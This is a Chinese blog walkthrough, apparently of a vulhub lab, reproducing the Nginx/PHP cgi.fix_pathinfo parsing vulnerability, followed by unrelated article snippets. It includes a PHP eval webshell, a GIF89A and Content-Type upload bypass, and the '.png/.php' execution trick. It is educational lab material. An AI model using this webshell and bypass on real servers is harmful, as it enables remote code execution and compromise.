当前位置： 首页 > news >正文

Nginx 背锅解析漏洞

news 2026/5/19 4:31:02

Nginx 背锅解析漏洞

文章目录

    • Nginx 背锅解析漏洞
      • 1 在线漏洞解读:
      • 2 环境搭建
      • 3 影响版本：
      • 4 漏洞复现
        • 4.1 访问页面
        • 4.2 上传文件
      • 4.3 上传失败
        • 4.4 使用bp进行分析包
        • 4.5 对返回图片位置进行访问
        • 4.6 执行php代码技巧-图片后缀加`./php`
        • 4.7 分析原因 --》cgi.fix_pathinfo--》on开启后会将png图当成php脚本执行

1 在线漏洞解读:

https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/nginx/nginx_parsing_vulnerability

在这里插入图片描述

启动：

sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a

已启动：访问端口18080

在这里插入图片描述

3 影响版本：

​ 版本信息：

  • Nginx 1.x 最新版
  • PHP 7.x最新版

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:18080/

在这里插入图片描述

4.2 上传文件
<?php @eval($_REQUEST[777]);phpinfo();?>  # 1.php文件内容

在这里插入图片描述

4.3 上传失败

在这里插入图片描述

4.4 使用bp进行分析包

使用bp修改请求参数后缀和内容类型，和内容头类型，发现上传成功，返回上传文件位置

Content-Type: image/pngGIF89A

在这里插入图片描述

4.5 对返回图片位置进行访问
192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png

在这里插入图片描述

4.6 执行php代码技巧-图片后缀加./php
http://192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/.php

在这里插入图片描述

4.7 分析原因 --》cgi.fix_pathinfo–》on开启后会将png图当成php脚本执行

在这里插入图片描述

相关文章：

Nginx 背锅解析漏洞

Nginx 背锅解析漏洞 文章目录 Nginx 背锅解析漏洞1 在线漏洞解读:2 环境搭建3 影响版本&#xff1a;4 漏洞复现4.1 访问页面4.2 上传文件 4.3 上传失败4.4 使用bp进行分析包4.5 对返回图片位置进行访问4.6 执行php代码技巧-图片后缀加./php4.7 分析原因 --》cgi.fix_pathinfo--…...

编程日记 2023/9/26 9:46:23

AI与传统数据库 - ChatGPT风过之后 ｜ 从Duet AI说开来

作者&#xff1a;Ni Demai&#xff0c;是NineData数据库产品专家&#xff0c;曾任阿里云数据库国际产品总负责人&#xff0c;华为高斯 GaussDB 创始团队核心架构师&#xff0c;IBM Db2 资深研发工程师。 Demai 专注 Cloud-Native database 架构设计&#xff0c;分析型 MPP&…...

编程日记 2023/9/26 9:44:21

L1-032 Left-pad C++解法

一、题目再现 根据新浪微博上的消息&#xff0c;有一位开发者不满NPM&#xff08;Node Package Manager&#xff09;的做法&#xff0c;收回了自己的开源代码&#xff0c;其中包括一个叫left-pad的模块&#xff0c;就是这个模块把javascript里面的React/Babel干瘫痪了。这是个…...

编程日记 2023/9/26 9:43:20

Python 用列表实现模拟手机通讯录（简易版）

"""列表实现好友管理系统知识点&#xff1a;1、列表存储信息2、列表增删改查3、嵌套循环4、字符串分割和拼接&#xff08;重点&#xff09;5、列表索引"""# 暂存好友信息&#xff08;程序结束数据删除&#xff09; friend_info list()input_buf…...

编程日记 2023/9/26 9:41:18

macOS使用官方安装包安装python

新手程序员可能想知道如何在 Mac 上正确安装 Python&#xff0c;这里介绍在 macOS 上安装 Python 的方法。 操作步骤 1.从 Python 官方网站 (python.org) 下载最新的 Python 版本. 单击 macOS 链接并选择最新的 Python 版本。 2.下载完成后&#xff0c;双击包开始安装Python…...

编程日记 2023/9/26 9:40:17

如何重装Windows Mirosoft Store

重装Windows Mirosoft Store 如何重装Windows Mirosoft Store呢&#xff1f;如何下载Windows Mirosoft Store呢&#xff1f;Windows Mirosoft Store不见了咋办&#xff1f;Windows 自带软件不见了咋办等等&#xff1f;写在前面 1.文件准备2.安装 如何重装Windows Mirosoft Stor…...

编程日记 2023/9/26 9:39:16

软考高级系统架构设计师系列论文真题七：基于构件的软件开发

软考高级系统架构设计师系列论文真题七：基于构件的软件开发 一、基于构件的软件开发二、找准核心论点三、理论素材准备四、精品范文赏析1.摘要2.正文3.总结软考高级系统架构设计师系列论文之：百篇软考高级架构设计师论文范文软考高级系统架构设计师系列之：论文题目类型、论文…...

编程日记 2023/9/26 9:38:15

git rebase 修改中间的commit

0. 前言 今天在移植最新版本 kfence 功能的时候&#xff0c;一共需要移植大概40多个 patch&#xff0c;中间有很多patch 存在冲突&#xff0c;需要手动修改后才能合并。当所有的patch 都合并完成进行编译的时候&#xff0c;发现其中一个 patch 手动合并出了个错误。 假如共有…...

编程日记 2023/9/26 9:37:14

登录业务实现 - token登录鉴权

登录业务实现&#xff1a; 登录成功/失败实现 -> pinia管理用户数据及数据持久化 -> 不同登录状态的模板适配 -> 请求拦截器携带token&#xff08;登录鉴权&#xff09; -> 退出登录实现 -> token失效&#xff08;401响应拦截&#xff09; 1. 登录成…...

编程日记 2023/9/26 9:36:13

内存对齐--面试常问问题和笔试常考问题

1.内存对齐的意义 C 内存对齐的主要意义可以简练概括为以下几点&#xff1a; 提高访问效率&#xff1a;内存对齐可以使数据在内存中以更加紧凑的方式存储&#xff0c;从而提高了数据的访问效率。处理器通常能够更快地访问内存中对齐的数据&#xff0c;而不需要额外的字节偏移计…...

编程日记 2023/9/26 9:35:12

贪心算法-会议室问题

1、题目描述 一些项目要占用一个会议室宣讲&#xff0c;会议室不能同时容纳两个项目。现在给你两个长度一样的数组&#xff0c;starts数组代码每个会议开始的时间&#xff0c;ends数组代表每个会议结束的时间。 在给你一个当前时间&#xff0c;请你求出当日可以利用会议室宣讲的…...

编程日记 2023/9/26 9:33:10

单日 5000 亿行 / 900G 数据接入，TDengine 3.0 在中国地震台网中心的大型应用

小T导读&#xff1a;为满足地震预警数据存储、检索和处理的建设与集成需求&#xff0c;以及响应国家国产软件自主可控的号召&#xff0c;中国地震台网中心决定选用国产数据库 TDengine 来存储和处理地震波形数据。本文将针对 TDengine 3.0 在地震领域的应用展开详细讲解。 关于…...

编程日记 2023/9/26 9:32:09

【VIM系列】cscope命令

cscope...

编程日记 2023/9/26 9:31:08

Vue的自定义事件（Custom Events）：实现组件间通信的强大工具

Vue的自定义事件&#xff08;Custom Events&#xff09;&#xff1a;实现组件间通信的强大工具 Vue.js是一款流行的JavaScript框架&#xff0c;用于构建交互式的Web应用程序。在Vue中&#xff0c;组件是构建应用程序的基本单元&#xff0c;它们之间的通信对于构建复杂的应用非…...

编程日记 2023/9/26 9:30:07

简易实现通讯录(1.0)

前言 我们还是像以前一样,分为三个文件来书写,分别是contact.h,contact.c,test.c 分别用来声明函数,实现函数和测试函数功能,现在就让我们开始吧. 1.基本逻辑 首先我们定义通讯录里的数据,我们定义为结构体 typedef struct PeoInfo {char name[NAME_MAX];int age;char sex[SEX_…...

编程日记 2023/9/26 9:29:05

CSS笔记——触发式动画Transition、主动式动画Animation、Transfrom 动画、CSS 3D 动画、阴影和滤镜样式

CSS动画 一、触发式动画Transition transition过渡动画&#xff0c;一般配合伪类使用 属性值&#xff1a; transition-duration&#xff1a; 指定过渡效果的持续时间&#xff0c;以秒或毫秒为单位。 transition-timing-function&#xff1a; 指定过渡效果的时间函数&#xff…...

编程日记 2023/9/26 9:28:04

软件测试之Web安全测试详解

前言 随着互联网时代的蓬勃发展&#xff0c;基于Web环境下的应用系统、应用软件也得到了越来越广泛的使用。 目前&#xff0c;很多企业的业务发展都依赖于互联网&#xff0c;比如&#xff0c;网上银行、网络购物、网络游戏等。但&#xff0c;由于很多恶意攻击者想通过截获他人…...

编程日记 2023/9/26 9:27:03

MYSQL binlog

为了防止 binlog 文件过大导致无可用的磁盘空间&#xff0c;MySQL 提供了一个系统变量用来配置过期时间。 MySQL5.7 &#xff1a;expire_logs_days&#xff0c;精确度为天&#xff1b; MySQL8.0 &#xff1a;binlog_expire_logs_seconds&#xff0c;精确度为秒。 SET GLOBAL bi…...

编程日记 2023/9/26 9:23:58

Web 基础概念

自己总结的web前端知识体系大全 基础概念 DOM DOM是什么意思-前端入门_dom是什么意思啊_猿说前端的博客-CSDN博客 DOM的含义&#xff1a; DOM称为文件对象模型&#xff08;DocumentObjectModel&#xff0c;简称DOM&#xff09;&#xff0c;是W3C组织推荐的处理可扩展置标语言的…...

编程日记 2023/9/26 9:22:57

谈谈最近招人的感受！

最近折腾新的项目&#xff0c;面试了很多实习生小伙伴&#xff0c;我说说我的一些「面试」感受&#xff0c; 虽然是一个老生常谈的话题&#xff0c;但是依然提一下。 准时很重要&#xff1a;提前一点时间&#xff0c;踩个点&#xff0c;别迟到&#xff0c;面试的过程中由于每个…...

编程日记 2023/9/26 9:21:56

Discourse Docker持续集成：自动化构建与部署完整指南 [特殊字符]

Discourse Docker持续集成&#xff1a;自动化构建与部署完整指南 &#x1f680; 【免费下载链接】discourse_docker A Docker image for Discourse 项目地址: https://gitcode.com/gh_mirrors/dis/discourse_docker Discourse Docker持续集成是现代论坛部署的最佳实践&a…...

编程新知 2026/5/19 4:19:00

虚幻引擎网络协议逆向分析：从抓包到安全加固的工程实践

1. 项目概述与核心价值最近在游戏开发圈里&#xff0c;特别是那些深耕UE&#xff08;Unreal Engine&#xff0c;虚幻引擎&#xff09;网络同步和反外挂的同行们&#xff0c;可能都听说过或者正在研究一个叫venetianglassmaking858/UnrealClientProtocol的项目。这个名字听起来有…...

编程新知 2026/5/19 1:21:33

MATLAB浮动许可利用率低：软件许可浪费，提高周转率

说实话&#xff0c;MATLAB浮动许可利用率低这个问题&#xff0c;我真的被老板问爆了。咱们实验室有50个许可&#xff0c;但系统显示平均不到20%在用&#xff0c;剩下的40%天天躺在服务器上吃灰。这事儿让我悟了&#xff1a;软件许可不是你买了就赚了&#xff0c;它要像现金流一…...

编程新知 2026/5/19 0:50:23

Godot引擎集成Box2D物理插件：提升2D游戏物理模拟精度与稳定性

1. 项目概述&#xff1a;当Godot遇上Box2D如果你是一个用过Godot引擎&#xff0c;特别是做过2D物理游戏的开发者&#xff0c;大概率对它的默认物理引擎有过又爱又恨的复杂感情。Godot内置的物理引擎在处理一些简单碰撞、刚体运动时非常方便&#xff0c;但一旦项目需求变得复杂—…...

编程新知 2026/5/19 0:43:30

从零构建智能体工作流引擎：多Agent系统架构与工程实践

1. 项目概述&#xff1a;从零构建一个智能体工作流引擎最近在GitHub上看到一个挺有意思的项目&#xff0c;叫strands-agents/agent-builder。光看名字&#xff0c;你可能会觉得这又是一个“AI智能体”的玩具项目&#xff0c;但实际深入进去&#xff0c;你会发现它试图解决的是一…...

编程新知 2026/5/19 0:20:08

APK Installer终极指南：在Windows电脑上快速安装Android应用的完整方案

APK Installer终极指南&#xff1a;在Windows电脑上快速安装Android应用的完整方案 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否厌倦了在电脑和手机之间来回传…...

编程新知 2026/5/18 23:16:10

Node.js调用Llama.cpp：本地部署大语言模型的完整指南

1. 项目概述&#xff1a;当Llama遇见Node.js如果你最近在折腾大语言模型&#xff08;LLM&#xff09;的本地部署&#xff0c;特别是对Meta的Llama系列模型情有独钟&#xff0c;同时又是一名Node.js开发者&#xff0c;那么你很可能已经听说过或者正在寻找一个像withcatai/node-l…...

编程新知 2026/5/18 22:00:49

告别卡顿！手把手教你配置UE5+Cesium子关卡，打造流畅的大型开放世界

告别卡顿&#xff01;UE5Cesium子关卡实战&#xff1a;打造流畅的大型开放世界 当你在UE5中构建一个横跨多个城市的开放世界时&#xff0c;是否遇到过这样的场景&#xff1a;镜头拉到高空俯瞰时帧率骤降&#xff0c;或者角色在城市间快速移动时出现明显的加载卡顿&#xff1f;这…...

编程新知 2026/5/18 21:56:37

大模型长对话记忆难题：LightMem轻量记忆系统原理与实战

1. 项目概述&#xff1a;当大模型遇上“记忆”瓶颈 最近在折腾大语言模型应用时&#xff0c;我遇到了一个挺典型的问题&#xff1a;想让模型记住更多、更长的对话历史&#xff0c;但无论是直接增加上下文窗口&#xff0c;还是用传统的向量数据库做检索增强&#xff0c;都感觉差…...

编程新知 2026/5/18 20:55:00

组合模式实战：统一处理树形结构，提升代码简洁性与可维护性

1. 项目概述&#xff1a;从“树”到“森林”的统一管理哲学在软件开发的日常里&#xff0c;我们常常会遇到一种让人头疼的结构&#xff1a;部分与整体的层次关系。想象一下&#xff0c;你正在开发一个图形界面系统&#xff0c;里面有简单的按钮、文本框&#xff0c;也有复杂的面…...

编程新知 2026/5/18 20:44:04